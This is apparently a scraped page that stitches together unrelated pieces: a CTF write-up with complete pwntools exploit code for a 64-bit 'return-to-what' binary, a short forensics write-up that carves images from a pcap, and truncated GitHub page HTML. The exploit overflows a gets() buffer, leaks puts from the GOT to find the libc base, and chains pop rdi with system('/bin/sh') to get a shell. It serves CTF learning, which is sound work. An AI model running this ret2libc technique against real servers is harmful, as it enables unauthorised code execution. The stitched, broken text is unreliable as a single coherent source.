We see that the buffer size if 48 and there is a `gets()` syscall. We can easily get a buffer overflow and leak the address of the puts function and then get the base address for libc.
From here we can get the version of the libc that is being used by the server and create a ropchain using the syscall offsets from that libc that we have found out.
## Leaking the Remote Libc
First find out the offset at which the buffer overflow is triggered. It turns out to be 56. Then take a Rop Gadget from the binary. I used the tool called Ropper to get a Ropgadget.
```ropper --file return-to-what```
I will use the gadget `pop rdi; ret` which will allow me to jump to the code on the stack that I have placed after the buffer overflow.
Then I'll need the `puts@plt` and the `puts@got` from the binary. We will leak the address of `puts@got` from the remote binary, so it will be placed as the parameter for `puts@plt` call and then return the function to `main` to continue the execution of the program further.
So the following piece of code will leak the puts@got from the remote libc
```from pwn import *
context.terminal = ["tmux", "splitw", "-v"]context.log_level = 'DEBUG'#for localelf = context.binary = ELF("./return-to-what")libc = ELF("./local_libc.so.6")#libc = ELF("./libc6_2.27-3ubuntu1_amd64.so")sh = gdb.debug("./return-to-what")#for remote#sh = remote("chal.duc.tf", 30003)
puts_got = p64(elf.got[b'puts'])puts_plt = p64(elf.plt[b'puts'])main_plt = p64(elf.symbols[b'main'] + 1)padding = b'a'*56pop_rdi = p64(0x000000000040122b)
# Leaking libc
payload = padding + pop_rdi + puts_got + puts_plt + main_pltsh.sendlineafter("?\n",payload)puts_leaked = sh.recvline().rstrip()puts_leaked = u64(puts_leaked.ljust(8,b"\x00"))print("LEAK : ",hex(puts_leaked))```
## Finding the libc version
After leaking the remote libc find out the libc version in the libc database. I used the online libc database.

Copy this leaked address that you have got and then paste it in the remote libc database as follows

Here you can see that two results are being given for the address. One of them is for 64 bit system and since we are dealing with a 64-bit binary, I used the amd64 version and it worked. You can even download the libc from here and use it.
## Calculating Libc base and other offsets
After downloading the remote libc, calculate the offets and the libc base as follows :
```#Calculating libc base from the offset
puts_offset = libc.symbols[b'puts']libc_base = puts_leaked - puts_offsetprint("LIBC Base : ",hex(libc_base))system_offset = libc.symbols[b'system']binsh_offset = next(libc.search("/bin/sh"))exit_offset = libc.symbols[b'exit']
system = p64(libc_base + system_offset)binsh = p64(libc_base + binsh_offset)exit = p64(libc_base + exit_offset)```
Also find the actual addresses of the functions as shown above.
## Final Exploit
```from pwn import *
context.terminal = ["tmux", "splitw", "-v"]context.log_level = 'DEBUG'#for localelf = context.binary = ELF("./return-to-what")libc = ELF("./local_libc.so.6")#libc = ELF("./libc6_2.27-3ubuntu1_amd64.so")sh = gdb.debug("./return-to-what")#for remote#sh = remote("chal.duc.tf", 30003)
puts_got = p64(elf.got[b'puts'])puts_plt = p64(elf.plt[b'puts'])main_plt = p64(elf.symbols[b'main'] + 1)padding = b'a'*56pop_rdi = p64(0x000000000040122b)
# Leaking libc
payload = padding + pop_rdi + puts_got + puts_plt + main_pltsh.sendlineafter("?\n",payload)puts_leaked = sh.recvline().rstrip()puts_leaked = u64(puts_leaked.ljust(8,b"\x00"))print("LEAK : ",hex(puts_leaked))
#Calculating libc base from the offset
puts_offset = libc.symbols[b'puts']libc_base = puts_leaked - puts_offsetprint("LIBC Base : ",hex(libc_base))system_offset = libc.symbols[b'system']binsh_offset = next(libc.search("/bin/sh"))exit_offset = libc.symbols[b'exit']
system = p64(libc_base + system_offset)binsh = p64(libc_base + binsh_offset)exit = p64(libc_base + exit_offset)
payload1 = padding + pop_rdi + binsh + systemsh.sendlineafter("?\n",payload1)
sh.interactive()```
|
Original Writeup: [https://github.com/crr0tz-4-d1nn3r/CTFs/tree/master/bsidesbos_2020/Forensics/Spy_Cam](https://github.com/crr0tz-4-d1nn3r/CTFs/tree/master/bsidesbos_2020/Forensics/Spy_Cam)# Spy Cam
Oh no! I found some spyware on my laptop. Can you find out what the attacker saw?
Download the file below.
[see github for file]
# Flag```shellflag{i_spy_with_my_little_eye}```
# Solution
Looking at pcap follow TCP conversation. Looks of images getting passed out. Too many to carve by hand.
foremost for the win!```shellkali@kali:~/Desktop$ foremost capture.pcap Processing: capture.pcap|*|```
Output folder has sooo many images of a phone, with the flag scrolling across the screen.
 |
<html lang="en" data-color-mode="auto" data-light-theme="light" data-dark-theme="dark"> <head> <meta charset="utf-8"> <link rel="dns-prefetch" href="https://github.githubassets.com"> <link rel="dns-prefetch" href="https://avatars.githubusercontent.com"> <link rel="dns-prefetch" href="https://github-cloud.s3.amazonaws.com"> <link rel="dns-prefetch" href="https://user-images.githubusercontent.com/"> <link rel="preconnect" href="https://github.githubassets.com" crossorigin> <link rel="preconnect" href="https://avatars.githubusercontent.com">
<link crossorigin="anonymous" media="all" integrity="sha512-L06pZD/4Yecj8D8pY5aYfA7oKG6CI8/hlx2K9ZlXOS/j5TnYEjrusaVa9ZIb9O3/tBHmnRFLzaC1ixcafWtaAg==" rel="stylesheet" href="https://github.githubassets.com/assets/light-2f4ea9643ff861e723f03f296396987c.css" /><link crossorigin="anonymous" media="all" integrity="sha512-xcx3R1NmKjgOAE2DsCHYbus068pwqr4i3Xaa1osduISrxqYFi3zIaBLqjzt5FM9VSHqFN7mneFXK73Z9a2QRJg==" rel="stylesheet" href="https://github.githubassets.com/assets/dark-c5cc774753662a380e004d83b021d86e.css" /><link data-color-theme="dark_dimmed" crossorigin="anonymous" media="all" integrity="sha512-xlDV9el7Cjd+KTSbwspx+c8its28uxn++hLZ9pqYYo1zOVcpLPlElTo42iA/8gV3xYfLvgqRZ3dQPxHCu4UaOQ==" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_dimmed-c650d5f5e97b0a377e29349bc2ca71f9.css" /><link data-color-theme="dark_high_contrast" crossorigin="anonymous" media="all" integrity="sha512-jkzjbgytRSAyC4EMcrdpez+aJ2CROSpfemvgO2TImxO6XgWWHNG2qSr2htlD1SL78zfuPXb+iXaVTS5jocG0DA==" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_high_contrast-8e4ce36e0cad4520320b810c72b7697b.css" /><link data-color-theme="dark_colorblind" crossorigin="anonymous" media="all" integrity="sha512-FzS8HhJ7XSHmx/dBll4FYlvu+8eivvb7jnttZy9KM5plsMkgbEghYKJszrFFauqQvv7ezYdbk7v/d8UtdjG9rw==" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_colorblind-1734bc1e127b5d21e6c7f741965e0562.css" /><link data-color-theme="light_colorblind" crossorigin="anonymous" media="all" integrity="sha512-IpkvxndMpMcO4paMJl83lYTcy18jv2jqG7mHZnTfr9HRV09iMhuQ/HrE+4mQO2nshL7ZLejO1OiVNDQkyVFOCA==" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_colorblind-22992fc6774ca4c70ee2968c265f3795.css" /> <link crossorigin="anonymous" media="all" integrity="sha512-4hzfg/znP4UxIOUt/r3SNYEZ6jBPJIS6PH4VC26tE0Nd4xAymMC3KXDaC9YITfG4fhyfxuB1YnDHo1H2iUwsfg==" rel="stylesheet" href="https://github.githubassets.com/assets/frameworks-e21cdf83fce73f853120e52dfebdd235.css" /> <link crossorigin="anonymous" media="all" integrity="sha512-sT0AyFLl78shyaRWRXOw8uwRSnR+7tURIXoJwVYadATkrqeWfze5y/tOu8MS1mbzUKl6pgLjfEdT+U8bwBJHfQ==" rel="stylesheet" href="https://github.githubassets.com/assets/behaviors-b13d00c852e5efcb21c9a4564573b0f2.css" /> <link crossorigin="anonymous" media="all" integrity="sha512-jdtbQr5ZSKZqID/c80i87Ml+YyEhYVd5sF9szeR+Xuvbfhi4yLJbEsSllzk0XRzcbWqD4tDtshhRo5IuJx4Mzw==" rel="stylesheet" href="https://github.githubassets.com/assets/github-8ddb5b42be5948a66a203fdcf348bcec.css" />
<script crossorigin="anonymous" defer="defer" integrity="sha512-/0zs/So9AxtDONKx324yW8s62PoPMx4Epxmk1aJmMgIYIKUkQg4YqlZQ06B4j0tSXQcUB8/zWiIkhLtVEozU/w==" type="application/javascript" src="https://github.githubassets.com/assets/environment-ff4cecfd.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-8p4kkx6e3xBq1g3NP0O3/AW/aiTQ+VRxYencIeMD8crx7AEwrOTV+XOL/UE8cw4vEvkoU/zzLEZ9cud0jFfI4w==" type="application/javascript" src="https://github.githubassets.com/assets/chunk-frameworks-f29e2493.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-slE3Aa2Duzwgju0UbTfes+w5slmaEOhXwom+Ev+pPsxxOpeh2CGZqfriJGr6pkhTZX+ffOTTYl3GnSLtp7AkJw==" type="application/javascript" src="https://github.githubassets.com/assets/chunk-vendor-b2513701.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-ZDU7IsI6lFo4eeBuqkrh/Htsa12ZYOi44uBhKqG0LyV6XHM502iJjjsIVnmtmNXrrC9oGMf2O5i57Bx4lwGsXw==" type="application/javascript" src="https://github.githubassets.com/assets/behaviors-64353b22.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-ODZJzCJpaOfusrIka5QVZQcPiO9LBGyrrMYjhhJWSLuCN5WbZ5xiEiiOPOKVu71dqygyRdB2TY7AKPA1J5hqdg==" type="application/javascript" data-module-id="./chunk-unveil.js" data-src="https://github.githubassets.com/assets/chunk-unveil-383649cc.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-emPgUbSwW9ezLCgRnTE7n4fbbfc/MqEEDHmnkmG61dTyjWKHTYKN4wN3OPS7SY0fwmSJ8mB5+gng2nZw4/HsUg==" type="application/javascript" data-module-id="./chunk-animate-on-scroll.js" data-src="https://github.githubassets.com/assets/chunk-animate-on-scroll-7a63e051.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-pWX6rMbTl/ERAhhtbAyXiJzoXFr91jp/mRy2Xk4OpAId3aVFI2X+yI8X3mhbf985F5BRHamuRx20kG62nRtSLQ==" type="application/javascript" data-module-id="./chunk-ref-selector.js" data-src="https://github.githubassets.com/assets/chunk-ref-selector-a565faac.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-GKiNgfnSOtC7SUFIvLZMYoteE7iKDONxzaeovKiziJczuW1P4KMU1KhXeoTv4WEN0ufeXC9ejA8HvgYa+xPAAQ==" type="application/javascript" data-module-id="./chunk-filter-input.js" data-src="https://github.githubassets.com/assets/chunk-filter-input-18a88d81.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-HRWFwpj3BLrXflQCvPbnuXPFjpnti5TtcqJqUx/b6klMyuskNlUBIo+1UT0KVHFdEW/Y9QKjmXlZxhP6z1j5pg==" type="application/javascript" data-module-id="./chunk-edit.js" data-src="https://github.githubassets.com/assets/chunk-edit-1d1585c2.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-GhqHDMwaAgqUsjVyltYVhaaLYy2G887rPRXXNbsdaI+Xm3dh0fbaHLhZns70EjFAEpXBgCAYFYdnlG1IQFmz1A==" type="application/javascript" data-module-id="./chunk-responsive-underlinenav.js" data-src="https://github.githubassets.com/assets/chunk-responsive-underlinenav-1a1a870c.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-gmw7obKL/JEHWPp6zWFh+ynbXUFOidj1DN2aPiTDwP8Gair0moVuDmA340LD84A29I3ZPak19CEiumG+oIiseg==" type="application/javascript" data-module-id="./chunk-tag-input.js" data-src="https://github.githubassets.com/assets/chunk-tag-input-826c3ba1.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-Ao9llFIlj54ApuKf2QLboXukbu2h7MHfMmtYHrrsVe1lprKNLiA0usVcRpvruKhfT5STDuWm/GGmyx8ox27hWQ==" type="application/javascript" data-module-id="./chunk-notification-list-focus.js" data-src="https://github.githubassets.com/assets/chunk-notification-list-focus-028f6594.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-SPWd3rzrxmU6xW6vy1JPWCd+3uWFWmnd0MVGpmw/TpHWUAdLWDqL8kWyC/sBIZJmda4mTtUO1DHJQzAXRSrC+g==" type="application/javascript" data-module-id="./chunk-cookies.js" data-src="https://github.githubassets.com/assets/chunk-cookies-48f59dde.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-MK53GXbb2BPV+ADlEbJbkrvg34WPcAd5RC2nBJhUH1tR/Mjr9xrsf56ptBajfWcIWKRKbqqRtLktgr0wAbB3zw==" type="application/javascript" data-module-id="./chunk-async-export.js" data-src="https://github.githubassets.com/assets/chunk-async-export-30ae7719.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-tw9SApiMkftVBYeb6/VGhEwGNw8tlyBhXc9RVXH4UbCD6u+48uuCMvXf3bxvBdOld0OoYg83SnD2mgJWhdaTiQ==" type="application/javascript" data-module-id="./chunk-premium-runners.js" data-src="https://github.githubassets.com/assets/chunk-premium-runners-b70f5202.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-D576CjzS9sbDqFBJdq0Y6+KVMHXkO6mLFO/GRL1NtoE8jgXjAvmdjoZ4nNMWyDwqbtBHspvupORzE9L+YoBLYQ==" type="application/javascript" data-module-id="./chunk-get-repo-element.js" data-src="https://github.githubassets.com/assets/chunk-get-repo-element-0f9efa0a.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-xhSAO0KtnFAlRqAK+mg8BPj/J334ccvnCmmjmBQBCgZcsoO9teHJSS6oAn3XOWYFsWPU2JehwG7S3OVEbLwdUg==" type="application/javascript" data-module-id="./chunk-color-modes.js" data-src="https://github.githubassets.com/assets/chunk-color-modes-c614803b.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-jitxouuFY6SUcDZV5W3jhadVEIfFBfCQZxfPV3kxNnsWEBzbxMJFp0ccLb7+OlBjSs1zU/MNtuOV6T9Ay7lx4w==" type="application/javascript" data-module-id="./chunk-copy.js" data-src="https://github.githubassets.com/assets/chunk-copy-8e2b71a2.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-Auj2atZZccqguPinFmOL2k1TCzZs/yfMMFF5aMYMB/5miqEN7v4oAFG0o3Np24NOTkJ9o/txZCeuT6NGHgGoUA==" type="application/javascript" data-module-id="./chunk-voting.js" data-src="https://github.githubassets.com/assets/chunk-voting-02e8f66a.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-HDsLJf6gAN+WDFaJneJwmIY82XkZKWqeX7tStBLRh1XM53K8vMV6JZvjq/UQXszaNVWxWcuYtgYTG6ZWo8+QSw==" type="application/javascript" data-module-id="./chunk-confetti.js" data-src="https://github.githubassets.com/assets/chunk-confetti-1c3b0b25.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-zEirtMGIgj3NVAnB8kWhDykK5NLa7q4ugkIxB7EftbovRjhU3X5I/20Rploa4KGPwAR27e36rAljHIsDKbTm/Q==" type="application/javascript" data-module-id="./chunk-codemirror.js" data-src="https://github.githubassets.com/assets/chunk-codemirror-cc48abb4.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-Gr3ZcJt5t73JeBM3NwOEziKyDZ3HpHwzqZL/c1pgTUfo+6QC5f88XXRw/RT6X2diwqvaa3OVFh0oWsZ9ZxhtdQ==" type="application/javascript" data-module-id="./chunk-tip.js" data-src="https://github.githubassets.com/assets/chunk-tip-1abdd970.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-EdQvlnI4Pu5Q6K0HCvp+mi0Vw9ZuwaEuhbnCbmFKX+c0xwiUWY0L3n9P0F6doLhaHhfpvW3718+miL11WG4BeA==" type="application/javascript" data-module-id="./chunk-line.js" data-src="https://github.githubassets.com/assets/chunk-line-11d42f96.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-4zSHP2sQXPKoN9jFy8q2ThHsQNej8s4qhubSR4g0/2dTexAEnoTG+RbaffdIhmjfghGjpS/DlE0cdSTFEOcipQ==" type="application/javascript" data-module-id="./chunk-array.js" data-src="https://github.githubassets.com/assets/chunk-array-e334873f.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-g8fb6U7h9SkWgiK69nfNMn4aN5D2YBYPZUbCIuLpemWoOw8NOaZY8Z0hPq4RUVs4+bYdCFR6K719k8lwFeUijg==" type="application/javascript" data-module-id="./chunk-band.js" data-src="https://github.githubassets.com/assets/chunk-band-83c7dbe9.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-6oWCu7ltWLHlroIRg8mR6RloC1wqKS9aK9e5THWgzaE2GNPAdoC+MLZEYD/TdIiZxsQRev0RInyonsXGBK0aMw==" type="application/javascript" data-module-id="./chunk-toast.js" data-src="https://github.githubassets.com/assets/chunk-toast-ea8582bb.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-miaiZ1xkDsWBUsURHOmeYtbgVKQGnm1octCo/lDXUmPzDyjtubnHULRVw1AK+sttwdwyB0+LOyhIVAWCNSGx+A==" type="application/javascript" data-module-id="./chunk-delayed-loading-element.js" data-src="https://github.githubassets.com/assets/chunk-delayed-loading-element-9a26a267.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-GD25CNhMGDMzEmeFhUT0FILBupAkx5/CHohnYXOP1togy40O0iu/lASaSp3gV8ue0nwscalJVQqR5gKDRHHDVg==" type="application/javascript" data-module-id="./chunk-three.module.js" data-src="https://github.githubassets.com/assets/chunk-three.module-183db908.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-4vVRplWFI7P4m3RHQ0QAhkq6eZUdtIE8PBhsKYJRwDkhQw9iK/U1st1/fM1tQZFuBFwGMyqaZblbWtQ+2ejcqQ==" type="application/javascript" data-module-id="./chunk-slug.js" data-src="https://github.githubassets.com/assets/chunk-slug-e2f551a6.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-Ofk7ddnMsJ6F9d2vCuPQav+FG9Rg8i6WRG2KmbzwT01S9H4y58Fl42zYxDh/lJjOWeSyOB9KJyfIkdpCCTYG9A==" type="application/javascript" data-module-id="./chunk-invitations.js" data-src="https://github.githubassets.com/assets/chunk-invitations-39f93b75.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-vFR+IqThljOLrAWmjhOL/kiQrjgZZg95uPovX0J7kRH5p7Y049LDRZaXLMDijfeqqk71d3MMn9XP5bUcH+lB9w==" type="application/javascript" data-module-id="./chunk-profile.js" data-src="https://github.githubassets.com/assets/chunk-profile-bc547e22.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-FeRujRzXPfs03roBR3mnHvWukfFpu27XbyZPQri9jcCY0AdUWSM5R4drHTJUDQ62Pz/aX0rSS5xORvTu7NsjlQ==" type="application/javascript" data-module-id="./chunk-overview.js" data-src="https://github.githubassets.com/assets/chunk-overview-15e46e8d.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-xqw233932eUGcGURAPuwUWZpC5Km/9Btq7/2Jnkt1rSWnPSVfMl+JKpr9eLtCoQmrpgP8vaghEuX8bWAS8fzTg==" type="application/javascript" data-module-id="./chunk-advanced.js" data-src="https://github.githubassets.com/assets/chunk-advanced-c6ac36df.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-6Rmd0BBAsJ9ouvb/pgrkToMPs5ogcqi8rcQ7R3GDPPHIjlu0NZ0Bx6HUn/aOruMCECETHm4Exfs5gjYdHs66RQ==" type="application/javascript" data-module-id="./chunk-runner-groups.js" data-src="https://github.githubassets.com/assets/chunk-runner-groups-e9199dd0.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-xdGx4qSd2qa0c/AVc4wDqpBhFHasDjOZ5y+MbwuIRA+ar7YxAFhZ2pGFs/+W5hVjSv+BMfKrcWpgLwR3xPIWHA==" type="application/javascript" data-module-id="./chunk-profile-pins-element.js" data-src="https://github.githubassets.com/assets/chunk-profile-pins-element-c5d1b1e2.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-LrD2kFGlUY4JxKVeN3dgYfuhfq0akTPGHtqW0gxkM2sDqVY6pauK2k57tmMHw4TQdcUrs+RQnBc1HPD+ou+ZfQ==" type="application/javascript" data-module-id="./chunk-emoji-picker-element.js" data-src="https://github.githubassets.com/assets/chunk-emoji-picker-element-2eb0f690.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-EvJ2Fip59DXgARNuwTWgjdVqoCjhXQL73SP9yexijlWStKq92sfbKeGK5R4wIP0QOr39WsnW/Kaw3Wpl1QPfog==" type="application/javascript" data-module-id="./chunk-edit-hook-secret-element.js" data-src="https://github.githubassets.com/assets/chunk-edit-hook-secret-element-12f27616.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-W0EihGBOA1mE3orR7s2squ9xVaLXrwd2bOYY9SSslfZHrovrS6KenJU+XXn+CaykddON6/aFEd/FbuQ/FltI9Q==" type="application/javascript" data-module-id="./chunk-insights-query.js" data-src="https://github.githubassets.com/assets/chunk-insights-query-5b412284.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-D/5Ad6jlKQNRPSHbVN5ShlFXOTyRsKbT7O0cWbVHwtOZ/UrwOC5bHKaQFHTq46qeMBbFKyDG+oIdtm5G8NifDA==" type="application/javascript" data-module-id="./chunk-remote-clipboard-copy.js" data-src="https://github.githubassets.com/assets/chunk-remote-clipboard-copy-0ffe4077.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-SUjF5sI77QngAIQUwKJRgZuIM4qggFBMtOZJ3EFS7ecv4uq4BQQJivDVxNBG9api9/rWrpw0d6RzvTCz2GrbdA==" type="application/javascript" data-module-id="./chunk-series-table.js" data-src="https://github.githubassets.com/assets/chunk-series-table-4948c5e6.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-nrfktuuo7BZhPpJxM4fVi62vPbZu6VJZ7ykfarxBExTTDnchXEalCJOq2O3GrVdfWu9cdn9kR/J8+oeTAjdHlA==" type="application/javascript" data-module-id="./chunk-line-chart.js" data-src="https://github.githubassets.com/assets/chunk-line-chart-9eb7e4b6.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-IOMGagwchKC7UeWHK/bV/rO1F1/RZAH0fNNouWV2boLOtE1a9LUbesoRsYK7sz6aFXslPC8fLfow+yWpT1eZzQ==" type="application/javascript" data-module-id="./chunk-stacked-area-chart.js" data-src="https://github.githubassets.com/assets/chunk-stacked-area-chart-20e3066a.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-GohDpVrxfHqlavb8Zabvj+y/s6CHegYwyGpQxKtzR2MkQsynBC98LdLongRFMHI+TKAECLavp200Lsy9JbV5TQ==" type="application/javascript" data-module-id="./chunk-presence-avatars.js" data-src="https://github.githubassets.com/assets/chunk-presence-avatars-1a8843a5.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-TpHTIXhA/2bI21CVmFL1oS3dv+8zveJVZLOVVAZwXNAAI94Hy70L9vT3Q1Vvkyu4Z2gi2iFdy1a53pfYlEDgnQ==" type="application/javascript" data-module-id="./chunk-pulse-authors-graph-element.js" data-src="https://github.githubassets.com/assets/chunk-pulse-authors-graph-element-4e91d321.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-aNAcFMlIdG1ocY5LnZylnN/6KXiJxyPvKg7y1Jnai732wdnrjXazcvNiQkRnj5FY8WP6JRa3K4doCReA4nhj7w==" type="application/javascript" data-module-id="./chunk-stacks-input-config-view.js" data-src="https://github.githubassets.com/assets/chunk-stacks-input-config-view-68d01c14.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-MXXdKvrDUhz9jfXB1/McrPebK8VbV5haYcxcNt5WXgbUym55dZattmCIAK2pJFAD2h4aBUFHo7CzpjmDYf7EkQ==" type="application/javascript" data-module-id="./chunk-community-contributions.js" data-src="https://github.githubassets.com/assets/chunk-community-contributions-3175dd2a.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-eWDdPSTt/NMNFFSNdUSOf36O6AJJepQdiKFtVzHjM5WYpUTAg21zPoyeA4DqfPNL5RggK/+RjWQZzypmNBAH4w==" type="application/javascript" data-module-id="./chunk-discussion-page-views.js" data-src="https://github.githubassets.com/assets/chunk-discussion-page-views-7960dd3d.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-5+v3VN/rhJv/1iAOVphuCGs1FM9eUlSB43CJLw1txGMLvuPNNz/xHQbzTOIW+t2NKFpTnptRvKbuicQ3Jp28UQ==" type="application/javascript" data-module-id="./chunk-discussions-daily-contributors.js" data-src="https://github.githubassets.com/assets/chunk-discussions-daily-contributors-e7ebf754.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-/PSS3erY5t+SZL9B5T6Edgzy2pLD3jx7G/ZqQE+UCPhaaMEEc8Qrhv5XTREOOX0e3DquvxVDDM/KVa6SK/BPcA==" type="application/javascript" data-module-id="./chunk-discussions-new-contributors.js" data-src="https://github.githubassets.com/assets/chunk-discussions-new-contributors-fcf492dd.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-7vazCSTbHAmhDkKepqPuoJu5ZlBV51uKBKdUTiKd5UylsfULxuXr6XtFSZ16eU4TzdMAifa2hR4riO/QRi/9gw==" type="application/javascript" data-module-id="./chunk-tweetsodium.js" data-src="https://github.githubassets.com/assets/chunk-tweetsodium-eef6b309.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-AVKfqEKBF/JCvS2PoakItu304k6gGt9oSMBW2R/eEfGsGuTmC9QeiQw//IJJKFRQdrzpha/FoC/cws9v6dsujQ==" type="application/javascript" data-module-id="./chunk-jump-to.js" data-src="https://github.githubassets.com/assets/chunk-jump-to-01529fa8.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-mQXS2AvjT52IlcDNeeAaWUnOLa3aaGISiApB7zeboZBSILzsVM1ikEJdM7VIaH+xwYYT/D6lqtIwjO1/KVbK2Q==" type="application/javascript" data-module-id="./chunk-user-status-submit.js" data-src="https://github.githubassets.com/assets/chunk-user-status-submit-9905d2d8.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-4xtjUJAtGhsZOLk+SHoir8MWF0vKHoR4tGlR36xsg1kGrE9ftN4BHe21k2TT5jSkqz5x8z7BfZKj/eUuwcZMEQ==" type="application/javascript" data-module-id="./chunk-launch-code-element.js" data-src="https://github.githubassets.com/assets/chunk-launch-code-element-e31b6350.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-NilVxyBbQNJ61v85EVcC3VjOsz5tz+bOlaR1h1R+jIFXNT8VhoalRgPXREht+R3JIZF5fiqkkHZy3+01pX4ZDg==" type="application/javascript" data-module-id="./chunk-metric-selection-element.js" data-src="https://github.githubassets.com/assets/chunk-metric-selection-element-362955c7.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-VtwQp1HbSSWXOsB5a8wzpRH8Bl7/vD0jgBgXsp2K2CTYkhfq/LAWps52SnVQjcRPoB2svCVaJV20hyFuCbGL3w==" type="application/javascript" data-module-id="./chunk-severity-calculator-element.js" data-src="https://github.githubassets.com/assets/chunk-severity-calculator-element-56dc10a7.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-yXHkwiNZgB6O0iSDKE8jrZzTtTyF8YdFFXHcemhWEPuN3sWs1PQrSwEh0Gw4/B9TIzUfvogbqlJ71yLLuqyM+Q==" type="application/javascript" data-module-id="./chunk-readme-toc-element.js" data-src="https://github.githubassets.com/assets/chunk-readme-toc-element-c971e4c2.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-QMvMhJF7+RJNuy+lp8zP+XbKf08Cc36NVOw6CMk0WRGAO1kmoNhTC+FjHB5EBFx/sDurFeYqerS3NGhusJncMA==" type="application/javascript" data-module-id="./chunk-feature-callout-element.js" data-src="https://github.githubassets.com/assets/chunk-feature-callout-element-40cbcc84.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-SyYXfc8EbLO9BnTas69LeNMF6aXITT41QqsFoIuEHHt/0i9+WQAV7ZFBu944TFS7HHFu9eRgmdq1MU/W12Q8xw==" type="application/javascript" data-module-id="./chunk-sortable-behavior.js" data-src="https://github.githubassets.com/assets/chunk-sortable-behavior-4b26177d.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-6JUQHgkTqBaCCdDugMcO4fQ8YxUHk+m6rwVp2Wxa4FMVz6BbBMPOzGluT4wBq8NTUcFv6DnXSOnt5e85jNgpGg==" type="application/javascript" data-module-id="./chunk-drag-drop.js" data-src="https://github.githubassets.com/assets/chunk-drag-drop-e895101e.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-28pipPJZvizfcYYETJWBBeDHsrDEz7A06d7Y5swgY/OWmsX0ZJW6mkZVFRO7Z/xZh1D1qFbPHGNixfCd1YpBnA==" type="application/javascript" data-module-id="./chunk-contributions-spider-graph.js" data-src="https://github.githubassets.com/assets/chunk-contributions-spider-graph-dbca62a4.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-y0yuiXfWuIeCCcUBT1jacp25vWnFCJWgwLM5G1VM4tmCHdoQbiVjvW/vuSuEXUjtS8WwdioTD5hVv9UULiUlww==" type="application/javascript" data-module-id="./chunk-webgl-warp.js" data-src="https://github.githubassets.com/assets/chunk-webgl-warp-cb4cae89.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-3R5+VhOHwJbG+s7VKlj1HjwVKo/RPldgUh98Yed4XMlk1jH7LP20vRYmLUqnvVaZcgx9x9XdWmQWKaBRQfsVvg==" type="application/javascript" src="https://github.githubassets.com/assets/codespaces-dd1e7e56.js"></script><script crossorigin="anonymous" defer="defer" integrity="sha512-tfzZxJCbul4TLTQmD9EJzuvXoLZGUCnWTiuJCGnXlaABfL2eD0I/J/IL9blT+JbF1dQvKi1g/E7396zAKdrZTA==" type="application/javascript" src="https://github.githubassets.com/assets/repositories-b5fcd9c4.js"></script><script crossorigin="anonymous" defer="defer" integrity="sha512-CfJc9iAnfLJnxnvSY41oW/N+iuVSia2CCj/v47XVliM9ACQPKur94EPHnokX0RG8e+FPMhJ2CGy9FfqLYZi4Dg==" type="application/javascript" 